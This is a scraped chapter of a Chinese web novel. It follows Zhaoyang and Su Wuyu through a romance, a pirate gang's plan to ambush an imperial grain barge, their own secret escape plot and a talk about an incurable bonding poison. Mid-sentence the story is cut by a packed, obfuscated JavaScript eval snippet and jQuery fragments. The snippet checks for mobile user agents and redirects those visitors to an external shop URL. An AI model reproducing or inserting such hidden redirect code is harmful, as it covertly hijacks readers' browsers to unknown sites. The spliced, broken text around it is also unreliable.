文趣网 > 其他小说 > 一世无虞 > 43. 备战
    次日清晨,昭阳是在苏无虞怀中醒过来的。宿醉的头疼让她轻轻皱起眉,昨晚醉酒后的荒唐记忆一点点涌上来,脸颊瞬间烫得发红。她偷偷抬眼看向身侧,苏无虞已经醒了,正支着手臂看着她,眼底带着浅浅的笑意,看得她更加窘迫,连忙往被子里缩了缩。

    苏无虞低笑出声,伸手把她往怀里带了带,指尖轻轻按揉着她发胀的太阳穴,“头疼不疼?先起来喝点醒酒汤。”昭阳埋在他胸口闷不做声,只悄悄伸出手攥住他的衣襟,昨晚酒后的胡话和举动一股脑冒出来,连耳根都烧得滚烫。

    苏无虞见她害羞,也不逗她,只耐心等着她缓过劲,等昭阳终于肯露出脸,才拿着备好的干净衣裳替她拢好,指尖不经意擦过她的锁骨,惹得昭阳一阵轻颤,抬眼撞进他满是温柔的眸子里,心又不受控制地乱跳起来。

    两人梳洗罢刚出房门,就撞见巡船的郭夫人,郭夫人一眼瞥见昭阳身后的苏无虞,又瞅着昭阳眼下淡淡的青影,立马露出了然的暧昧笑容,冲着昭阳挤了挤眼睛,“大当家在船头,方才嚷着要见你呢”。

    此时江面上的雾气还没完全散,归墟堂的人已经开始忙碌起来。昭阳与苏无虞一路来到船头,罗三娘正在指挥水手们检查船械,看到两人出来,远远地招手唤他们过去。

    “计划的日子就在三日后,漕运的官船会经过这片水域,我们已经提前安排好了人手,就等他们过来。”罗三娘指向摊开在甲板上的航道图,指尖落在标着红圈的险滩处,“这里水流最急,官船必定会减速,我们就从两侧的隐蔽湾冲出去,打他们一个措手不及。”

    苏无虞俯身看着图纸,眉头微蹙,开口说出自己的顾虑,“官船此次押运的不仅是漕粮,还有给宫中的贡品,守卫必定比往常森严,我们不能掉以轻心。我昨夜算了涨潮时辰,三日后涨潮会比往年早半个时辰,所以伏击时间要提前,不然水流太急,容易把咱们的船冲到明处。”

    罗三娘闻言眼睛一亮,她原本只凭着经验算时辰,没想到苏无虞还懂水文测算,连忙让人拿来时辰牌重新调整部署。

    昭阳凑到图纸旁,指着险滩下游分叉的浅水道补充,“这里水浅,大船过不来,我们打完之后可以往这边撤,提前让兄弟们把小船藏在芦苇荡里,就算官船有追兵也追不上。我们带不动的漕粮就分给沿岸的百姓,既得了人心,也不会落得把柄在官府手里。”

    罗三娘听罢点了点头,“这次事成,咱们劫了漕粮分给下游遭了灾的百姓,也算是做了件好事。”

    昭阳笑着应声,抬眼望向远处雾色朦朦的江面,风卷起她的衣摆,已经能隐约嗅到大战前紧绷的气息,三日后的这一仗,不仅是劫漕粮,更是罗三娘等三人作为封建女性,向着这不公世道挥出的第一刀。

    是夜,昭阳、苏无虞与陆仁秉三人围坐在舱内的矮桌旁,桌上摊着一张粗糙的江域图,烛火摇曳,将三人的影子投在舱壁上,随着烛火晃动而扭曲。

    “劫船当日,必然混乱不堪,”陆仁秉压低了声音,手指在地图上比划着,“我们就趁他们与漕运官兵激战时,从船尾放下备用的逃生舟,顺流而下。此处水流湍急,他们一时半会儿追不上。”

    他顿了顿,眼中闪烁着兴奋的光芒,“只要过了前面的芦苇荡,再弃舟登岸,混入附近的村镇,归墟堂的人就算有天大的本事,也休想再找到我们!”

    苏无虞眉头微蹙,指尖轻轻敲击着桌面,声音沉稳,“此计虽险,却是眼下唯一的机会。只是,归墟堂的守卫森严,船尾更是重中之重,如何能悄无声息地放下小舟,是个难题。”

    昭阳沉吟片刻,眼中闪过一丝狡黠,“我有办法。我可以在劫船前,以检查火药为由,去船尾布置‘意外’。比如,制造一场小规模的火药泄漏,引开守卫的注意力。届时,你们趁机放下小舟,我随后便到。”

    “这太危险了!”苏无虞立刻反对,眼中满是担忧,“万一被发现,后果不堪设想。”

    “不入虎穴,焉得虎子?”昭阳坚定地看着他,“这是我们唯一的机会。相信我,我会小心的。”

    陆仁秉也劝道,“无虞老弟,昭阳妹子说得对,这是最好的办法了。我们会在船尾接应她,不会让她出事的。”

    苏无虞看着昭阳眼中的决绝,心中虽万般不舍,却也知道她说得有理。他深吸一口气,点了点头,“好,就按你说的办。但你一定要答应我,万事小心,切不可逞强。”

    “我知道了。”昭阳笑了笑,心中涌起一股暖流。

    三人又仔细商议了一些细节,包括如何应对突发状况,若是失散如何在登岸后互相联系等,直到夜色渐深,才各自散去。

    昭阳回到自己的船舱,心中久久不能平静。她走到窗边,望着漆黑的江面,心中既有对未来的憧憬,也有对未知的恐惧。就在这时,她忽然听到甲板上传来一阵脚步声,似乎有人在船头徘徊。

    好奇心驱使下,昭阳悄悄走出船舱,来到船头。只见一个熟悉的身影正凭栏而立,望着远处的江面,正是柳飘絮。她的身影单薄,在夜色中显得格外清冷。

    “三当家?这么晚了,还没休息?”昭阳走上前,轻声问道。

    柳飘絮转过身,看到昭阳,眼中闪过一丝惊讶,随即又恢复了平静。“睡不着,出来吹吹风。”她顿了顿,目光复杂地看着昭阳,似乎有什么话想说。

    昭阳心中一动,隐隐觉得柳飘絮似乎有什么话想说。她静静地看着柳飘絮,等待着她开口。

    柳飘絮犹豫了再三,终于开口,声音低沉而沙哑,“有件事,我觉得还是应该告诉你。关于你身上的同心蛊……”

    昭阳的心猛地一紧,连忙问道,“同心蛊怎么了?三当家精通毒术,可是知道什么破解之法?”

    柳飘絮摇了摇头,眼中闪过一丝无奈,“同

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648073|204241||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心蛊无解。此蛊以精血喂养,与宿主心意相通,一旦种下,便会伴随宿主一生。”

    昭阳的脸色瞬间变得苍白,心中涌起一股绝望。她本以为还有一线希望,没想到却是这样的结果。

    柳飘絮看着她失落的模样,又道,“不过,我曾在一本古籍上看到过,同心蛊虽然无解,却可以转移。”

    “转移?”昭阳眼中重新燃起一丝希望,“怎么转移?”

    柳飘絮叹了口气,“具体的方法,我并不清楚。古籍上语焉不详,只说需要一种特殊的媒介,以及施蛊者的配合。而且,转移过程凶险异常,稍有不慎,宿主和被转移者都会有生命危险。”

    昭阳沉默了,虽然柳飘絮没有给出具体的方法,但至少让她看到了一丝希望。她抬起头,真诚地看着柳飘絮,“谢谢你告诉我这些。”

    柳飘絮摇了摇头,“我只是不想看到像你这样的人,被这蛊毒所困。你好自为之吧。”说罢,她转身离开了船头,留下昭阳一个人在夜色中沉思。

    回到船舱时,昭阳心事重重地走着,猛然抬头才发现苏无虞正站在她的房门口,神色犹豫,似乎有些踌躇不前。

    “无虞,你怎么在这里?”昭阳惊讶地问道。

    苏无虞看到昭阳,脸上闪过一丝慌乱,随即又恢复了平静。他从怀中掏出一块玉佩,递到昭阳面前。玉佩温润通透,上面刻着一朵精致的莲花,一看便知不是凡品。

    “这是……”昭阳不解地看着他。

    “这是我娘在世时留给我的唯一遗物,也是我们家唯一值钱的东西。”苏无虞的声音有些沙哑,眼神中带着一丝郑重。

    他深吸一口气,目光恳切地望着昭阳,“昨夜……是我唐突了。我担心你酒醒之后,会因此看轻我,以为我是个孟浪轻浮之徒。更怕你……心中后悔。”

    昭阳握着那枚尚带着体温的玉佩,指尖微微发颤,心头涌起一股复杂的情绪,有惊讶,有暖意,也有一丝无措。她张了张口,却不知该说什么。

    苏无虞见她沉默,心中更添忐忑,却仍鼓起勇气继续道,“这玉佩虽不贵重,却是我最珍视之物。今日将它赠予你,并非是要挟或补偿,而是想以此物为凭,许你一个承诺。”

    他顿了顿,字字清晰地说道,“待此番航程结束,我们能够平安靠岸逃离,我苏无虞必正衣冠,备礼数,堂堂正正前往贵府,向你的长辈郑重提亲。昨夜之事,绝非儿戏,我之心意,天地可鉴,日月可昭。”

    船舱内一时寂静,只有窗外潺潺的水流声与隐约的风声。月色透过舷窗,在他认真的侧脸上投下淡淡的光影。他将自己最珍贵的念想与全部诚意都托付于此,等待着她的回应。

    昭阳低垂着眼眸,掌心玉佩的纹路清晰可感,那温润的触感仿佛一路熨帖到了心里去。她并非对他无意,只是这突如其来的郑重承诺,让她需要片刻来厘清这翻涌的心潮。